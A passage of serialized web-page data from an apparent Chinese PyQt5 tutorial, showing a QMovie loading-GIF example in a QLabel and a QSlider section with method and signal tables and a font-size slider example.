self.loading.setStyleSheet(\"\")  \n",{"type":18,"tag":297,"props":45783,"children":45784},{"class":299,"line":4599},[45785],{"type":18,"tag":297,"props":45786,"children":45787},{},[45788],{"type":24,"value":45789},"        self.loading.setText(\"\")  \n",{"type":18,"tag":297,"props":45791,"children":45792},{"class":299,"line":4607},[45793],{"type":18,"tag":297,"props":45794,"children":45795},{},[45796],{"type":24,"value":45797},"        self.loading.setObjectName(\"loading\")  \n",{"type":18,"tag":297,"props":45799,"children":45800},{"class":299,"line":4616},[45801],{"type":18,"tag":297,"props":45802,"children":45803},{},[45804],{"type":24,"value":45805},"        # 设置GIF居中显示  \n",{"type":18,"tag":297,"props":45807,"children":45808},{"class":299,"line":4624},[45809],{"type":18,"tag":297,"props":45810,"children":45811},{},[45812],{"type":24,"value":45813},"        self.loading.setAlignment(QtCore.Qt.AlignCenter)  \n",{"type":18,"tag":297,"props":45815,"children":45816},{"class":299,"line":4633},[45817],{"type":18,"tag":297,"props":45818,"children":45819},{},[45820],{"type":24,"value":45821},"        # 添加到布局  \n",{"type":18,"tag":297,"props":45823,"children":45824},{"class":299,"line":4641},[45825],{"type":18,"tag":297,"props":45826,"children":45827},{},[45828],{"type":24,"value":45829},"        self.main_layout.addWidget(self.loading)  \n",{"type":18,"tag":297,"props":45831,"children":45832},{"class":299,"line":4650},[45833],{"type":18,"tag":297,"props":45834,"children":45835},{},[45836],{"type":24,"value":45837},"        # 创建按钮布局  \n",{"type":18,"tag":297,"props":45839,"children":45840},{"class":299,"line":4658},[45841],{"type":18,"tag":297,"props":45842,"children":45843},{},[45844],{"type":24,"value":45845},"        self.button_layout = QtWidgets.QHBoxLayout()  \n",{"type":18,"tag":297,"props":45847,"children":45848},{"class":299,"line":4681},[45849],{"type":18,"tag":297,"props":45850,"children":45851},{},[45852],{"type":24,"value":45853},"        self.pushButton_start = QtWidgets.QPushButton(self.centralwidget)  \n",{"type":18,"tag":297,"props":45855,"children":45856},{"class":299,"line":4703},[45857],{"type":18,"tag":297,"props":45858,"children":45859},{},[45860],{"type":24,"value":45861},"        self.pushButton_start.setMinimumSize(QtCore.QSize(100, 50))  \n",{"type":18,"tag":297,"props":45863,"children":45864},{"class":299,"line":4711},[45865],{"type":18,"tag":297,"props":45866,"children":45867},{},[45868],{"type":24,"value":45869},"        self.pushButton_start.setObjectName(\"pushButton_start\")  \n",{"type":18,"tag":297,"props":45871,"children":45872},{"class":299,"line":4720},[45873],{"type":18,"tag":297,"props":45874,"children":45875},{},[45876],{"type":24,"value":45877},"        self.button_layout.addWidget(self.pushButton_start)  \n",{"type":18,"tag":297,"props":45879,"children":45880},{"class":299,"line":4728},[45881],{"type":18,"tag":297,"props":45882,"children":45883},{},[45884],{"type":24,"value":45885},"        # 添加伸缩项，让两个按钮分开  \n",{"type":18,"tag":297,"props":45887,"children":45888},{"class":299,"line":13515},[45889],{"type":18,"tag":297,"props":45890,"children":45891},{},[45892],{"type":24,"value":45893},"        self.button_layout.addStretch()  \n",{"type":18,"tag":297,"props":45895,"children":45896},{"class":299,"line":13553},[45897],{"type":18,"tag":297,"props":45898,"children":45899},{},[45900],{"type":24,"value":45901},"        self.pushButton_stop = QtWidgets.QPushButton(self.centralwidget)  \n",{"type":18,"tag":297,"props":45903,"children":45904},{"class":299,"line":13591},[45905],{"type":18,"tag":297,"props":45906,"children":45907},{},[45908],{"type":24,"value":45909},"        self.pushButton_stop.setMinimumSize(QtCore.QSize(100, 50))  \n",{"type":18,"tag":297,"props":45911,"children":45912},{"class":299,"line":13624},[45913],{"type":18,"tag":297,"props":45914,"children":45915},{},[45916],{"type":24,"value":45917},"        self.pushButton_stop.setObjectName(\"pushButton_stop\")  \n",{"type":18,"tag":297,"props":45919,"children":45920},{"class":299,"line":13632},[45921],{"type":18,"tag":297,"props":45922,"children":45923},{},[45924],{"type":24,"value":45925},"        self.button_layout.addWidget(self.pushButton_stop)  \n",{"type":18,"tag":297,"props":45927,"children":45928},{"class":299,"line":13641},[45929],{"type":18,"tag":297,"props":45930,"children":45931},{},[45932],{"type":24,"value":45933},"        # 将按钮布局添加到主布局  \n",{"type":18,"tag":297,"props":45935,"children":45936},{"class":299,"line":13724},[45937],{"type":18,"tag":297,"props":45938,"children":45939},{},[45940],{"type":24,"value":45941},"        self.main_layout.addLayout(self.button_layout)  \n",{"type":18,"tag":297,"props":45943,"children":45944},{"class":299,"line":13732},[45945],{"type":18,"tag":297,"props":45946,"children":45947},{},[45948],{"type":24,"value":45949},"        # 设置按钮区域的最小高度  \n",{"type":18,"tag":297,"props":45951,"children":45952},{"class":299,"line":13786},[45953],{"type":18,"tag":297,"props":45954,"children":45955},{},[45956],{"type":24,"value":45957},"        self.main_layout.setStretch(0, 3)  # GIF区域占3份高度  \n",{"type":18,"tag":297,"props":45959,"children":45960},{"class":299,"line":13794},[45961],{"type":18,"tag":297,"props":45962,"children":45963},{},[45964],{"type":24,"value":45965},"        self.main_layout.setStretch(1, 1)  # 按钮区域占1份高度  \n",{"type":18,"tag":297,"props":45967,"children":45968},{"class":299,"line":13803},[45969],{"type":18,"tag":297,"props":45970,"children":45971},{},[45972],{"type":24,"value":42337},{"type":18,"tag":297,"props":45974,"children":45975},{"class":299,"line":13845},[45976],{"type":18,"tag":297,"props":45977,"children":45978},{},[45979],{"type":24,"value":42345},{"type":18,"tag":297,"props":45981,"children":45982},{"class":299,"line":13887},[45983],{"type":18,"tag":297,"props":45984,"children":45985},{},[45986],{"type":24,"value":42353},{"type":18,"tag":297,"props":45988,"children":45989},{"class":299,"line":13927},[45990],{"type":18,"tag":297,"props":45991,"children":45992},{},[45993],{"type":24,"value":45994},"        self.pushButton_start.clicked.connect(self.start_loading)  \n",{"type":18,"tag":297,"props":45996,"children":45997},{"class":299,"line":13943},[45998],{"type":18,"tag":297,"props":45999,"children":46000},{},[46001],{"type":24,"value":46002},"        self.pushButton_stop.clicked.connect(self.stop_loading)  \n",{"type":18,"tag":297,"props":46004,"children":46005},{"class":299,"line":15315},[46006],{"type":18,"tag":297,"props":46007,"children":46008},{},[46009],{"type":24,"value":36783},{"type":18,"tag":297,"props":46011,"children":46012},{"class":299,"line":15331},[46013],{"type":18,"tag":297,"props":46014,"children":46015},{},[46016],{"type":24,"value":46017},"    def start_loading(self):  \n",{"type":18,"tag":297,"props":46019,"children":46020},{"class":299,"line":15347},[46021],{"type":18,"tag":297,"props":46022,"children":46023},{},[46024],{"type":24,"value":46025},"        self.gif = QtGui.QMovie('loading.gif')  \n",{"type":18,"tag":297,"props":46027,"children":46028},{"class":299,"line":42458},[46029],{"type":18,"tag":297,"props":46030,"children":46031},{},[46032],{"type":24,"value":46033},"        # 设置GIF缩放模式，保持比例适应标签大小  \n",{"type":18,"tag":297,"props":46035,"children":46036},{"class":299,"line":42467},[46037],{"type":18,"tag":297,"props":46038,"children":46039},{},[46040],{"type":24,"value":46041},"        self.loading.setScaledContents(True)  \n",{"type":18,"tag":297,"props":46043,"children":46044},{"class":299,"line":42476},[46045],{"type":18,"tag":297,"props":46046,"children":46047},{},[46048],{"type":24,"value":46049},"        self.loading.setMovie(self.gif)  \n",{"type":18,"tag":297,"props":46051,"children":46052},{"class":299,"line":42954},[46053],{"type":18,"tag":297,"props":46054,"children":46055},{},[46056],{"type":24,"value":46057},"        self.gif.start()  \n",{"type":18,"tag":297,"props":46059,"children":46060},{"class":299,"line":42963},[46061],{"type":18,"tag":297,"props":46062,"children":46063},{},[46064],{"type":24,"value":36783},{"type":18,"tag":297,"props":46066,"children":46067},{"class":299,"line":42972},[46068],{"type":18,"tag":297,"props":46069,"children":46070},{},[46071],{"type":24,"value":46072},"    def stop_loading(self):  \n",{"type":18,"tag":297,"props":46074,"children":46075},{"class":299,"line":45120},[46076],{"type":18,"tag":297,"props":46077,"children":46078},{},[46079],{"type":24,"value":46080},"        if hasattr(self, 'gif'):  # 避免未启动时点击停止报错  \n",{"type":18,"tag":297,"props":46082,"children":46083},{"class":299,"line":45129},[46084],{"type":18,"tag":297,"props":46085,"children":46086},{},[46087],{"type":24,"value":46088},"            self.gif.stop()  \n",{"type":18,"tag":297,"props":46090,"children":46091},{"class":299,"line":45138},[46092],{"type":18,"tag":297,"props":46093,"children":46094},{},[46095],{"type":24,"value":46096},"            self.loading.clear()  \n",{"type":18,"tag":297,"props":46098,"children":46099},{"class":299,"line":45147},[46100],{"type":18,"tag":297,"props":46101,"children":46102},{},[46103],{"type":24,"value":46104},"            self.loading.setScaledContents(False)  # 恢复默认状态  \n",{"type":18,"tag":297,"props":46106,"children":46107},{"class":299,"line":45155},[46108],{"type":18,"tag":297,"props":46109,"children":46110},{},[46111],{"type":24,"value":36783},{"type":18,"tag":297,"props":46113,"children":46114},{"class":299,"line":45164},[46115],{"type":18,"tag":297,"props":46116,"children":46117},{},[46118],{"type":24,"value":42384},{"type":18,"tag":297,"props":46120,"children":46121},{"class":299,"line":45173},[46122],{"type":18,"tag":297,"props":46123,"children":46124},{},[46125],{"type":24,"value":42392},{"type":18,"tag":297,"props":46127,"children":46128},{"class":299,"line":45182},[46129],{"type":18,"tag":297,"props":46130,"children":46131},{},[46132],{"type":24,"value":46133},"        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"加载动画演示\"))  \n",{"type":18,"tag":297,"props":46135,"children":46136},{"class":299,"line":45191},[46137],{"type":18,"tag":297,"props":46138,"children":46139},{},[46140],{"type":24,"value":46141},"        self.pushButton_start.setText(_translate(\"MainWindow\", \"启动等待提示\"))  \n",{"type":18,"tag":297,"props":46143,"children":46144},{"class":299,"line":45200},[46145],{"type":18,"tag":297,"props":46146,"children":46147},{},[46148],{"type":24,"value":46149},"        self.pushButton_stop.setText(_translate(\"MainWindow\", \"停止等待提示\"))  \n",{"type":18,"tag":297,"props":46151,"children":46152},{"class":299,"line":45209},[46153],{"type":18,"tag":297,"props":46154,"children":46155},{},[46156],{"type":24,"value":36783},{"type":18,"tag":297,"props":46158,"children":46159},{"class":299,"line":45218},[46160],{"type":18,"tag":297,"props":46161,"children":46162},{},[46163],{"type":24,"value":36783},{"type":18,"tag":297,"props":46165,"children":46166},{"class":299,"line":45227},[46167],{"type":18,"tag":297,"props":46168,"children":46169},{},[46170],{"type":24,"value":42415},{"type":18,"tag":297,"props":46172,"children":46173},{"class":299,"line":45236},[46174],{"type":18,"tag":297,"props":46175,"children":46176},{},[46177],{"type":24,"value":36783},{"type":18,"tag":297,"props":46179,"children":46180},{"class":299,"line":45245},[46181],{"type":18,"tag":297,"props":46182,"children":46183},{},[46184],{"type":24,"value":42431},{"type":18,"tag":297,"props":46186,"children":46187},{"class":299,"line":45254},[46188],{"type":18,"tag":297,"props":46189,"children":46190},{},[46191],{"type":24,"value":43682},{"type":18,"tag":297,"props":46193,"children":46194},{"class":299,"line":45263},[46195],{"type":18,"tag":297,"props":46196,"children":46197},{},[46198],{"type":24,"value":46199},"    MainWindow = QtWidgets.QMainWindow()  \n",{"type":18,"tag":297,"props":46201,"children":46202},{"class":299,"line":45272},[46203],{"type":18,"tag":297,"props":46204,"children":46205},{},[46206],{"type":24,"value":46207},"    ui = Ui_MainWindow()  \n",{"type":18,"tag":297,"props":46209,"children":46210},{"class":299,"line":45281},[46211],{"type":18,"tag":297,"props":46212,"children":46213},{},[46214],{"type":24,"value":46215},"    ui.setupUi(MainWindow)  \n",{"type":18,"tag":297,"props":46217,"children":46218},{"class":299,"line":45290},[46219],{"type":18,"tag":297,"props":46220,"children":46221},{},[46222],{"type":24,"value":46223},"    MainWindow.show()  \n",{"type":18,"tag":297,"props":46225,"children":46226},{"class":299,"line":45299},[46227],{"type":18,"tag":297,"props":46228,"children":46229},{},[46230],{"type":24,"value":46231},"    sys.exit(app.exec_())\n",{"type":18,"tag":96,"props":46233,"children":46234},{},[46235],{"type":18,"tag":34,"props":46236,"children":46237},{},[46238,46242,46244,46250,46251,46257,46259,46265,46267,46272,46274,46280],{"type":18,"tag":105,"props":46239,"children":46240},{},[46241],{"type":24,"value":33435},{"type":24,"value":46243}," 说明\n上面代码中使用",{"type":18,"tag":74,"props":46245,"children":46247},{"className":46246},[],[46248],{"type":24,"value":46249},"QLabel",{"type":24,"value":43752},{"type":18,"tag":74,"props":46252,"children":46254},{"className":46253},[],[46255],{"type":24,"value":46256},"setMovie()方法",{"type":24,"value":46258},"为其设置要显示的GIF动画图片，该方法要求有一个",{"type":18,"tag":74,"props":46260,"children":46262},{"className":46261},[],[46263],{"type":24,"value":46264},"QMovie",{"type":24,"value":46266},"对象作为参数，",{"type":18,"tag":74,"props":46268,"children":46270},{"className":46269},[],[46271],{"type":24,"value":46264},{"type":24,"value":46273},"类是",{"type":18,"tag":74,"props":46275,"children":46277},{"className":46276},[],[46278],{"type":24,"value":46279},"QtGui",{"type":24,"value":46281},"模块中提供的一个用来显示简单且没有声音动画的类。",{"type":18,"tag":34,"props":46283,"children":46284},{},[46285,46287,46293,46295,46301],{"type":24,"value":46286},"运行程序，单击",{"type":18,"tag":74,"props":46288,"children":46290},{"className":46289},[],[46291],{"type":24,"value":46292},"启动等待提示",{"type":24,"value":46294},"按钮，将显示如图所示的运行效果；单击",{"type":18,"tag":74,"props":46296,"children":46298},{"className":46297},[],[46299],{"type":24,"value":46300},"停止等待提示",{"type":24,"value":46302},"按钮，将自动关闭等待提示框。",{"type":18,"tag":34,"props":46304,"children":46305},{},[46306],{"type":18,"tag":54,"props":46307,"children":46310},{"alt":46308,"src":46309},"loading.mp4","\u002Fimages\u002Fblog\u002Fpyqt5\u002Floading.mp4",[],{"type":18,"tag":19,"props":46312,"children":46314},{"id":46313},"_3滑块qslider",[46315,46317],{"type":24,"value":46316},"3  滑块：",{"type":18,"tag":74,"props":46318,"children":46320},{"className":46319},[],[46321],{"type":24,"value":46322},"QSlider",{"type":18,"tag":121,"props":46324,"children":46325},{},[],{"type":18,"tag":34,"props":46327,"children":46328},{},[46329,46331,46337,46339,46345,46347,46352,46354,46360],{"type":24,"value":46330},"PyQt5中提供了两个滑块控件，分别是水平滑块",{"type":18,"tag":74,"props":46332,"children":46334},{"className":46333},[],[46335],{"type":24,"value":46336},"HorizontalSlider",{"type":24,"value":46338},"和垂直滑块",{"type":18,"tag":74,"props":46340,"children":46342},{"className":46341},[],[46343],{"type":24,"value":46344},"VerticalSlider",{"type":24,"value":46346},"，但这两个滑块控件对应的类都是",{"type":18,"tag":74,"props":46348,"children":46350},{"className":46349},[],[46351],{"type":24,"value":46322},{"type":24,"value":46353},"类，该类中提供了一个",{"type":18,"tag":74,"props":46355,"children":46357},{"className":46356},[],[46358],{"type":24,"value":46359},"setOrientation()方法",{"type":24,"value":46361},"，通过设置该方法的参数，可以将滑块显示为水平或者垂直。",{"type":18,"tag":34,"props":46363,"children":46364},{},[46365,46370],{"type":18,"tag":74,"props":46366,"children":46368},{"className":46367},[],[46369],{"type":24,"value":46322},{"type":24,"value":46371},"滑块类的常用方法及说明如表所示。",{"type":18,"tag":431,"props":46373,"children":46374},{},[46375,46395],{"type":18,"tag":435,"props":46376,"children":46377},{},[46378],{"type":18,"tag":439,"props":46379,"children":46380},{},[46381,46388],{"type":18,"tag":443,"props":46382,"children":46383},{},[46384],{"type":18,"tag":105,"props":46385,"children":46386},{},[46387],{"type":24,"value":41518},{"type":18,"tag":443,"props":46389,"children":46390},{},[46391],{"type":18,"tag":105,"props":46392,"children":46393},{},[46394],{"type":24,"value":41526},{"type":18,"tag":459,"props":46396,"children":46397},{},[46398,46410,46422,46450,46463,46476,46488,46501,46562],{"type":18,"tag":439,"props":46399,"children":46400},{},[46401,46405],{"type":18,"tag":466,"props":46402,"children":46403},{},[46404],{"type":24,"value":44273},{"type":18,"tag":466,"props":46406,"children":46407},{},[46408],{"type":24,"value":46409},"设置滑块最小值",{"type":18,"tag":439,"props":46411,"children":46412},{},[46413,46417],{"type":18,"tag":466,"props":46414,"children":46415},{},[46416],{"type":24,"value":44286},{"type":18,"tag":466,"props":46418,"children":46419},{},[46420],{"type":24,"value":46421},"设置滑块最大值",{"type":18,"tag":439,"props":46423,"children":46424},{},[46425,46429],{"type":18,"tag":466,"props":46426,"children":46427},{},[46428],{"type":24,"value":44484},{"type":18,"tag":466,"props":46430,"children":46431},{},[46432,46434,46437,46440,46442,46445,46448],{"type":24,"value":46433},"设置滑块显示方向，取值如下：",{"type":18,"tag":6882,"props":46435,"children":46436},{},[],{"type":18,"tag":6882,"props":46438,"children":46439},{},[],{"type":24,"value":46441},"◆ Qt.Horizontal：水平滑块",{"type":18,"tag":6882,"props":46443,"children":46444},{},[],{"type":18,"tag":6882,"props":46446,"children":46447},{},[],{"type":24,"value":46449},"◆ Qt.Vertical：垂直滑块",{"type":18,"tag":439,"props":46451,"children":46452},{},[46453,46458],{"type":18,"tag":466,"props":46454,"children":46455},{},[46456],{"type":24,"value":46457},"setPageStep()",{"type":18,"tag":466,"props":46459,"children":46460},{},[46461],{"type":24,"value":46462},"设置步长值，通过鼠标点击滑块时使用",{"type":18,"tag":439,"props":46464,"children":46465},{},[46466,46471],{"type":18,"tag":466,"props":46467,"children":46468},{},[46469],{"type":24,"value":46470},"setSingleStep()",{"type":18,"tag":466,"props":46472,"children":46473},{},[46474],{"type":24,"value":46475},"设置步长值，通过鼠标拖动滑块时使用",{"type":18,"tag":439,"props":46477,"children":46478},{},[46479,46483],{"type":18,"tag":466,"props":46480,"children":46481},{},[46482],{"type":24,"value":44312},{"type":18,"tag":466,"props":46484,"children":46485},{},[46486],{"type":24,"value":46487},"设置滑块的值",{"type":18,"tag":439,"props":46489,"children":46490},{},[46491,46496],{"type":18,"tag":466,"props":46492,"children":46493},{},[46494],{"type":24,"value":46495},"setTickInterval()",{"type":18,"tag":466,"props":46497,"children":46498},{},[46499],{"type":24,"value":46500},"设置滑块的刻度间隔",{"type":18,"tag":439,"props":46502,"children":46503},{},[46504,46509],{"type":18,"tag":466,"props":46505,"children":46506},{},[46507],{"type":24,"value":46508},"setTickPosition()",{"type":18,"tag":466,"props":46510,"children":46511},{},[46512,46514,46517,46520,46522,46525,46528,46530,46533,46536,46538,46541,46544,46546,46549,46552,46554,46557,46560],{"type":24,"value":46513},"设置滑块刻度的标记位置，取值如下：",{"type":18,"tag":6882,"props":46515,"children":46516},{},[],{"type":18,"tag":6882,"props":46518,"children":46519},{},[],{"type":24,"value":46521},"◆ QSlider.NoTicks：不显示刻度，这是默认设置",{"type":18,"tag":6882,"props":46523,"children":46524},{},[],{"type":18,"tag":6882,"props":46526,"children":46527},{},[],{"type":24,"value":46529},"◆ QSlider.TicksBothSides：在滑块的两侧都显示刻度",{"type":18,"tag":6882,"props":46531,"children":46532},{},[],{"type":18,"tag":6882,"props":46534,"children":46535},{},[],{"type":24,"value":46537},"◆ QSlider.TicksAbove：在水平滑块的上方显示刻度",{"type":18,"tag":6882,"props":46539,"children":46540},{},[],{"type":18,"tag":6882,"props":46542,"children":46543},{},[],{"type":24,"value":46545},"◆ QSlider.TicksBelow：在水平滑块的下方显示刻度",{"type":18,"tag":6882,"props":46547,"children":46548},{},[],{"type":18,"tag":6882,"props":46550,"children":46551},{},[],{"type":24,"value":46553},"◆ QSlider.TicksLeft：在垂直滑块的左侧显示刻度",{"type":18,"tag":6882,"props":46555,"children":46556},{},[],{"type":18,"tag":6882,"props":46558,"children":46559},{},[],{"type":24,"value":46561},"◆ QSlider.TicksRight：在垂直滑块的右侧显示刻度",{"type":18,"tag":439,"props":46563,"children":46564},{},[46565,46569],{"type":18,"tag":466,"props":46566,"children":46567},{},[46568],{"type":24,"value":44594},{"type":18,"tag":466,"props":46570,"children":46571},{},[46572],{"type":24,"value":46573},"获取滑块的当前值",{"type":18,"tag":34,"props":46575,"children":46576},{},[46577,46582],{"type":18,"tag":74,"props":46578,"children":46580},{"className":46579},[],[46581],{"type":24,"value":46322},{"type":24,"value":46583},"滑块类的常用信号及说明如表所示。",{"type":18,"tag":431,"props":46585,"children":46586},{},[46587,46608],{"type":18,"tag":435,"props":46588,"children":46589},{},[46590],{"type":18,"tag":439,"props":46591,"children":46592},{},[46593,46601],{"type":18,"tag":443,"props":46594,"children":46595},{},[46596],{"type":18,"tag":105,"props":46597,"children":46598},{},[46599],{"type":24,"value":46600},"信    号",{"type":18,"tag":443,"props":46602,"children":46603},{},[46604],{"type":18,"tag":105,"props":46605,"children":46606},{},[46607],{"type":24,"value":41526},{"type":18,"tag":459,"props":46609,"children":46610},{},[46611,46623,46636,46649],{"type":18,"tag":439,"props":46612,"children":46613},{},[46614,46618],{"type":18,"tag":466,"props":46615,"children":46616},{},[46617],{"type":24,"value":44615},{"type":18,"tag":466,"props":46619,"children":46620},{},[46621],{"type":24,"value":46622},"当滑块的值发生改变时发射该信号",{"type":18,"tag":439,"props":46624,"children":46625},{},[46626,46631],{"type":18,"tag":466,"props":46627,"children":46628},{},[46629],{"type":24,"value":46630},"sliderPressed",{"type":18,"tag":466,"props":46632,"children":46633},{},[46634],{"type":24,"value":46635},"当用户按下滑块时发射该信号",{"type":18,"tag":439,"props":46637,"children":46638},{},[46639,46644],{"type":18,"tag":466,"props":46640,"children":46641},{},[46642],{"type":24,"value":46643},"sliderMoved",{"type":18,"tag":466,"props":46645,"children":46646},{},[46647],{"type":24,"value":46648},"当用户拖动滑块时发射该信号",{"type":18,"tag":439,"props":46650,"children":46651},{},[46652,46657],{"type":18,"tag":466,"props":46653,"children":46654},{},[46655],{"type":24,"value":46656},"sliderReleased",{"type":18,"tag":466,"props":46658,"children":46659},{},[46660],{"type":24,"value":46661},"当用户释放滑块时发射该信号",{"type":18,"tag":96,"props":46663,"children":46664},{},[46665],{"type":18,"tag":34,"props":46666,"children":46667},{},[46668,46672,46674,46679],{"type":18,"tag":105,"props":46669,"children":46670},{},[46671],{"type":24,"value":33382},{"type":24,"value":46673}," 注意\n",{"type":18,"tag":74,"props":46675,"children":46677},{"className":46676},[],[46678],{"type":24,"value":46322},{"type":24,"value":46680},"滑块只能控制整数范围，因此它不适用于需要准确的大范围取值的场景。",{"type":18,"tag":34,"props":46682,"children":46683},{},[46684],{"type":18,"tag":105,"props":46685,"children":46686},{},[46687],{"type":24,"value":46688},"实例 使用滑块改变刻度值及标签中的字体大小",{"type":18,"tag":34,"props":46690,"children":46691},{},[46692,46694,46699,46701,46706,46708,46714,46716,46721,46723,46728,46729,46734,46736,46741,46743,46749,46751,46756],{"type":24,"value":46693},"在Qt Designer设计器中创建一个窗口，在窗口中分别添加一个",{"type":18,"tag":74,"props":46695,"children":46697},{"className":46696},[],[46698],{"type":24,"value":46336},{"type":24,"value":46700},"水平滑块和一个",{"type":18,"tag":74,"props":46702,"children":46704},{"className":46703},[],[46705],{"type":24,"value":46344},{"type":24,"value":46707},"垂直滑块，然后添加一个",{"type":18,"tag":74,"props":46709,"children":46711},{"className":46710},[],[46712],{"type":24,"value":46713},"HorizontalLayout",{"type":24,"value":46715},"水平布局管理器，在该布局管理器中添加一个",{"type":18,"tag":74,"props":46717,"children":46719},{"className":46718},[],[46720],{"type":24,"value":45647},{"type":24,"value":46722},"标签，用来显示文字。设计完成后，保存为",{"type":18,"tag":74,"props":46724,"children":46726},{"className":46725},[],[46727],{"type":24,"value":43367},{"type":24,"value":43369},{"type":18,"tag":74,"props":46730,"children":46732},{"className":46731},[],[46733],{"type":24,"value":42560},{"type":24,"value":46735},"代码文件。在",{"type":18,"tag":74,"props":46737,"children":46739},{"className":46738},[],[46740],{"type":24,"value":42560},{"type":24,"value":46742},"文件中通过绑定水平滑块的",{"type":18,"tag":74,"props":46744,"children":46746},{"className":46745},[],[46747],{"type":24,"value":46748},"valueChanged信号",{"type":24,"value":46750},"，实现拖动水平滑块时，实时改变垂直滑块的刻度值，同时改变",{"type":18,"tag":74,"props":46752,"children":46754},{"className":46753},[],[46755],{"type":24,"value":45647},{"type":24,"value":46757},"标签中的字体大小。代码如下：",{"type":18,"tag":287,"props":46759,"children":46761},{"className":28710,"code":46760,"language":28712,"meta":8,"style":8},"from PyQt5 import QtCore, QtGui, QtWidgets  \n  \nclass Ui_MainWindow(object):  \n  \n    def setupUi(self, MainWindow):  \n        MainWindow.setObjectName(\"MainWindow\")  \n        MainWindow.resize(313, 196)  \n        self.centralwidget = QtWidgets.QWidget(MainWindow)  \n        self.centralwidget.setObjectName(\"centralwidget\")  \n        # 创建水平滑块  \n        self.horizontalSlider = QtWidgets.QSlider(self.centralwidget)  \n        self.horizontalSlider.setGeometry(QtCore.QRect(20, 10, 231, 22))  \n        self.horizontalSlider.setMinimum(8)         # 设置最小值为8  \n        self.horizontalSlider.setMaximum(72)         # 设置最大值为72  \n        self.horizontalSlider.setSingleStep(1)     # 设置通过鼠标拖动时的步长值  \n        self.horizontalSlider.setPageStep(1)         # 设置通过鼠标点击时的步长值  \n        self.horizontalSlider.setProperty(\"value\", 8)    # 设置默认值为8  \n        self.horizontalSlider.setOrientation(QtCore.Qt.Horizontal) # 设置滑块为水平滑块  \n        # 设置在滑块上方显示刻度  \n        self.horizontalSlider.setTickPosition(QtWidgets.QSlider.TicksAbove)  \n        self.horizontalSlider.setTickInterval(3)     # 设置刻度的间隔  \n        self.horizontalSlider.setObjectName(\"horizontalSlider\")  \n        # 创建垂直滑块  \n        self.verticalSlider = QtWidgets.QSlider(self.centralwidget)  \n        self.verticalSlider.setGeometry(QtCore.QRect(270, 20, 22, 171))  \n        self.verticalSlider.setMinimum(8)         # 设置最小值为8  \n        self.verticalSlider.setMaximum(72)         # 设置最大值为72  \n        self.verticalSlider.setOrientation(QtCore.Qt.Vertical)     # 设置滑块为垂直滑块  \n        self.verticalSlider.setInvertedAppearance(True)            # 设置刻度反方向显示  \n        # 设置在滑块右侧显示刻度  \n        self.verticalSlider.setTickPosition(QtWidgets.QSlider.TicksRight)  \n        self.verticalSlider.setTickInterval(3)                     # 设置刻度的间隔  \n        self.verticalSlider.setObjectName(\"verticalSlider\")  \n        # 创建一个水平布局管理器，主要用来放置显示文字的Label  \n        self.horizontalLayoutWidget = QtWidgets.QWidget(self.centralwidget)  \n        self.horizontalLayoutWidget.setGeometry(QtCore.QRect(20, 70, 251, 80))  \n        self.horizontalLayoutWidget.setObjectName(\"horizontalLayoutWidget\")  \n        self.horizontalLayout = QtWidgets.QHBoxLayout(self.horizontalLayoutWidget)  \n        self.horizontalLayout.setContentsMargins(0, 0, 0, 0)  \n        self.horizontalLayout.setObjectName(\"horizontalLayout\")  \n        # 创建Label控件，用来显示文字  \n        self.label = QtWidgets.QLabel(self.horizontalLayoutWidget)  \n        self.label.setAlignment(QtCore.Qt.AlignCenter) # 设置文字居中对齐  \n        self.label.setObjectName(\"label\")  \n        self.horizontalLayout.addWidget(self.label)       # 将Label添加到水平布局管理器中  \n        MainWindow.setCentralWidget(self.centralwidget)  \n        self.retranslateUi(MainWindow)  \n        QtCore.QMetaObject.connectSlotsByName(MainWindow)  \n        # 为水平滑块绑定valueChanged信号，在值发生更改时发射  \n        self.horizontalSlider.valueChanged.connect(self.setfontsize)  \n  \n    # 定义槽函数，根据水平滑块的值改变垂直滑块的值和Label控件的字体大小  \n    def setfontsize(self):  \n        value = self.horizontalSlider.value()  \n        self.verticalSlider.setValue(value)  \n        self.label.setFont(QtGui.QFont(\"楷体\", value))  \n  \n    def retranslateUi(self, MainWindow):  \n        _translate = QtCore.QCoreApplication.translate  \n        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))  \n        self.label.setText(_translate(\"MainWindow\", \"敢想敢为，注重细节\"))  \n  \nimport sys  \n# 程序入口，程序从此处启动PyQt设计的窗体  \nif __name__ == '__main__':  \n   app = QtWidgets.QApplication(sys.argv)  \n   MainWindow = QtWidgets.QMainWindow() # 创建窗体对象  \n   ui = Ui_MainWindow()           # 创建PyQt设计的窗体对象  \n   ui.setupUi(MainWindow)           # 调用PyQt窗体的方法对窗体对象进行初始化设置  \n   MainWindow.show()               # 显示窗体  \n   sys.exit(app.exec_())           # 程序关闭时退出进程\n",[46762],{"type":18,"tag":74,"props":46763,"children":46764},{"__ignoreMap":8},[46765,46772,46779,46786,46793,46800,46807,46815,46822,46829,46837,46845,46853,46861,46869,46877,46885,46893,46901,46909,46917,46925,46933,46941,46949,46957,46965,46973,46981,46989,46997,47005,47013,47021,47029,47037,47045,47053,47061,47069,47077,47085,47093,47101,47109,47117,47124,47131,47138,47146,47154,47161,47169,47177,47185,47193,47201,47208,47215,47222,47229,47237,47244,47251,47258,47265,47272,47279,47286,47293,47300],{"type":18,"tag":297,"props":46766,"children":46767},{"class":299,"line":300},[46768],{"type":18,"tag":297,"props":46769,"children":46770},{},[46771],{"type":24,"value":42107},{"type":18,"tag":297,"props":46773,"children":46774},{"class":299,"line":657},[46775],{"type":18,"tag":297,"props":46776,"children":46777},{},[46778],{"type":24,"value":36783},{"type":18,"tag":297,"props":46780,"children":46781},{"class":299,"line":662},[46782],{"type":18,"tag":297,"props":46783,"children":46784},{},[46785],{"type":24,"value":42122},{"type":18,"tag":297,"props":46787,"children":46788},{"class":299,"line":799},[46789],{"type":18,"tag":297,"props":46790,"children":46791},{},[46792],{"type":24,"value":36783},{"type":18,"tag":297,"props":46794,"children":46795},{"class":299,"line":808},[46796],{"type":18,"tag":297,"props":46797,"children":46798},{},[46799],{"type":24,"value":42137},{"type":18,"tag":297,"props":46801,"children":46802},{"class":299,"line":817},[46803],{"type":18,"tag":297,"props":46804,"children":46805},{},[46806],{"type":24,"value":42145},{"type":18,"tag":297,"props":46808,"children":46809},{"class":299,"line":826},[46810],{"type":18,"tag":297,"props":46811,"children":46812},{},[46813],{"type":24,"value":46814},"        MainWindow.resize(313, 196)  